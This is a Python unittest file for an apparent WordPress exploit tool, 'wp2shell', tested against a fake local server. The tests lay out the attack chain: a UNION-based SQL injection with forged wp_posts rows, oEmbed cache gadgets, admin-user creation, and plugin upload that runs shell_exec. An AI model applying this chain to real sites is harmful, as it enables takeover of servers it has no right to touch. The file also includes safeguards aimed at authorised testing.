test_exploit.py

import io
import json
from pathlib import Path
import shutil
import subprocess
import sys
import threading
import unittest
from unittest import mock
import urllib.parse
import zipfile
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

sys.path.insert(0, str(Path(__file__).resolve().parent))

import exploit


class FakeWordPressHandler(BaseHTTPRequestHandler):
    def log_message(self, format, *args):
        pass

    def reply(self, body=b"", status=200, content_type="text/html", cookies=()):
        self.send_response(status)
        self.send_header("Content-Type", content_type)
        for cookie in cookies:
            self.send_header("Set-Cookie", cookie)
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        parsed = urllib.parse.urlsplit(self.path)
        if parsed.path == "/wp-login.php":
            self.reply(cookies=("wordpress_test_cookie=1; Path=/",))
        elif parsed.path == "/wp-admin/":
            self.reply(b"dashboard")
        elif parsed.path == "/wp-admin/plugin-install.php":
            self.reply(
                b'<form action="update.php?action=upload-plugin">'
                b'<input name="_wpnonce" value="upload-nonce">'
                b"</form>"
            )
        elif parsed.path == "/wp-admin/plugins.php":
            self.reply(b"activated")
        elif parsed.path == "/wp-admin/admin-ajax.php":
            self.reply(b"rest-nonce", content_type="text/plain")
        else:
            self.reply(b"not found", status=404)

    def do_POST(self):
        parsed = urllib.parse.urlsplit(self.path)
        length = int(self.headers.get("Content-Length", "0"))
        body = self.rfile.read(length)
        if parsed.path == "/wp-login.php":
            self.reply(
                b"logged in",
                cookies=("wordpress_logged_in_fake=1; Path=/",),
            )
        elif parsed.path == "/wp-admin/update.php":
            if b'name="pluginzip"' not in body or b"upload-nonce" not in body:
                self.reply(b"bad upload", status=400)
                return
            self.reply(
                b'<a href="plugins.php?action=activate&amp;plugin=proof.php&amp;'
                b'_wpnonce=activate-nonce">Activate Plugin</a>'
            )
        elif parsed.path == "/":
            route = urllib.parse.parse_qs(parsed.query).get("rest_route", [""])[0]
            proof_id = route.split("/wp2shell-proof-", 1)[1].split("/", 1)[0]
            self.reply(
                json.dumps(
                    {
                        "ok": True,
                        "proof_id": proof_id,
                        "command": "id",
                        "method": "shell_exec",
                        "output": "uid=33(www-data)",
                        "php_uname": "Linux test",
                    }
                ).encode(),
                content_type="application/json",
            )
        else:
            self.reply(b"not found", status=404)


class ExploitTests(unittest.TestCase):
    @classmethod
    def setUpClass(cls):
        cls.server = ThreadingHTTPServer(("127.0.0.1", 0), FakeWordPressHandler)
        cls.server_thread = threading.Thread(target=cls.server.serve_forever, daemon=True)
        cls.server_thread.start()
        cls.base = f"http://127.0.0.1:{cls.server.server_port}"

    @classmethod
    def tearDownClass(cls):
        cls.server.shutdown()
        cls.server.server_close()
        cls.server_thread.join()

    def test_build_columns(self):
        columns = exploit.build_columns(content_sql="0x41").split(",")
        self.assertEqual(len(columns), 23)
        self.assertEqual(columns[4], "0x41")
        self.assertIn("CAST((SELECT 1)AS CHAR)", exploit.build_columns(expr="SELECT 1"))

        forged = exploit.build_post_columns(
            {
                "ID": "7",
                "post_status": exploit.sql_hex("future"),
                "post_type": exploit.sql_hex("customize_changeset"),
                "post_parent": "8",
            }
        ).split(",")
        self.assertEqual(len(forged), 23)
        self.assertEqual(forged[0], "7")
        self.assertEqual(forged[7], exploit.sql_hex("future"))
        self.assertEqual(forged[17], "8")
        self.assertEqual(forged[20], exploit.sql_hex("customize_changeset"))

    def test_stock_gadget_rows_and_balanced_union(self):
        rows = exploit.build_stock_gadget_rows(
            [10, 11, 12, 13, 14, 15],
            "http://127.0.0.1/post/?wp2cache=A",
            1,
        )
        self.assertEqual(len(rows), 7)
        self.assertTrue(all(len(row.split(",")) == 23 for row in rows))
        injection = exploit.balanced_union_rows(rows, "wp_posts")
        self.assertNotIn("--", injection)
        self.assertIn("FROM wp_posts WHERE ID=(SELECT MIN(ID)", injection)
        self.assertTrue(injection.endswith("AND (1=1"))

    def test_stock_oembed_cache_key(self):
        key = exploit.oembed_cache_key("http://example.test/post", 500)
        self.assertRegex(key, r"^[0-9a-f]{32}$")
        self.assertNotEqual(key, exploit.oembed_cache_key("http://example.test/post", 501))

    def test_proof_plugin_is_fixed_and_one_shot(self):
        slug, archive_data = exploit.build_rce_proof_plugin("abcdef", [4, 5])
        with zipfile.ZipFile(io.BytesIO(archive_data)) as archive:
            names = archive.namelist()
            self.assertEqual(names, [f"{slug}/{slug}.php"])
            source = archive.read(names[0]).decode()
        self.assertIn("shell_exec('id 2>&1')", source)
        self.assertNotIn("$_GET", source)
        self.assertNotIn("$_POST", source)
        self.assertIn("deactivate_plugins", source)
        self.assertIn("@unlink($plugin_file)", source)
        self.assertIn("array(4,5)", source)
        self.assertIn("wp_delete_post", source)

    @unittest.skipUnless(shutil.which("php"), "PHP CLI is not installed")
    def test_generated_php_is_syntactically_valid(self):
        _, plugin = exploit.build_rce_proof_plugin_source("abcdef", [4, 5])
        sources = (plugin,)
        for source in sources:
            result = subprocess.run(
                ["php", "-l"],
                input=source,
                text=True,
                capture_output=True,
                check=False,
            )
            self.assertEqual(result.returncode, 0, result.stdout + result.stderr)

    def test_private_target_guard(self):
        exploit.require_private_target("http://127.0.0.1:8080")
        exploit.require_private_target("http://10.0.0.9")
        with self.assertRaises(ValueError):
            exploit.require_private_target("https://8.8.8.8")

    def test_cli_modes_and_generated_credentials(self):
        check = exploit.parse_args(["http://127.0.0.1:8080", "--check"])
        self.assertTrue(check.check)

        add_user = exploit.parse_args(
            [
                "http://127.0.0.1:8080",
                "--add-user",
                "--username",
                "cli-admin",
                "--password",
                "cli-password",
            ]
        )
        self.assertTrue(add_user.add_user)
        self.assertFalse(add_user.exec_proof)
        self.assertRegex(add_user.email, r"^wp2shell-[0-9a-f]{12}@example\.invalid$")

        legacy = exploit.parse_args(
            [
                "http://127.0.0.1:8080",
                "--rce-proof",
                "--username",
                "legacy-admin",
                "--password",
                "legacy-password",
            ]
        )
        self.assertTrue(legacy.exec_proof)

        complete = exploit.parse_args(
            ["http://127.0.0.1:8080", "--complete-chain"]
        )
        self.assertTrue(complete.complete_chain)
        self.assertTrue(complete.username.startswith("wp2s_"))
        self.assertGreaterEqual(len(complete.password), 18)
        self.assertEqual(
            set(complete.generated_credentials), {"username", "password", "email"}
        )

        custom = exploit.parse_args(
            [
                "http://127.0.0.1:8080",
                "--exec",
                "--username",
                "custom-admin",
                "--password",
                "custom-password",
                "--plugin-file",
                "custom.zip",
            ]
        )
        self.assertEqual(custom.plugin_file, "custom.zip")

    def test_validate_and_upload_custom_plugin_archive(self):
        archive_buffer = io.BytesIO()
        with zipfile.ZipFile(archive_buffer, "w") as archive:
            archive.writestr(
                "custom-marker/custom-marker.php",
                "<?php /* Plugin Name: Custom Marker */",
            )
        names = exploit.validate_plugin_archive(archive_buffer.getvalue())
        self.assertEqual(names, ["custom-marker/custom-marker.php"])

        opener = exploit.wordpress_login(self.base, "audit-admin", "password")
        result = exploit.upload_and_activate_plugin(
            self.base,
            opener,
            "custom-marker.zip",
            archive_buffer.getvalue(),
        )
        self.assertEqual(result["filename"], "custom-marker.zip")
        self.assertEqual(result["archive_entries"], 1)

        unsafe = io.BytesIO()
        with zipfile.ZipFile(unsafe, "w") as archive:
            archive.writestr("../escape.php", "<?php")
        with self.assertRaises(ValueError):
            exploit.validate_plugin_archive(unsafe.getvalue())

    def test_non_persistent_check_exit_states(self):
        output = io.StringIO()
        with mock.patch.object(exploit.secrets, "token_hex", return_value="abcdef"):
            with mock.patch.object(
                exploit, "run", return_value="wp2shell-check-abcdef"
            ):
                with mock.patch("sys.stdout", output):
                    self.assertEqual(
                        exploit.main(["http://127.0.0.1:8080", "--check"]), 0
                    )
        self.assertIn("VULNERABLE", output.getvalue())

        output = io.StringIO()
        with mock.patch.object(exploit, "run", return_value=None):
            with mock.patch("sys.stdout", output):
                self.assertEqual(
                    exploit.main(["http://127.0.0.1:8080", "--check"]), 1
                )
        self.assertIn("NOT VULNERABLE", output.getvalue())

    def test_login_upload_activate_and_run_proof(self):
        opener = exploit.wordpress_login(self.base, "audit-admin", "password")
        result = exploit.upload_and_run_rce_proof(self.base, opener)
        self.assertTrue(result["ok"])
        self.assertEqual(result["command"], "id")
        self.assertEqual(result["output"], "uid=33(www-data)")


if __name__ == "__main__":
    unittest.main()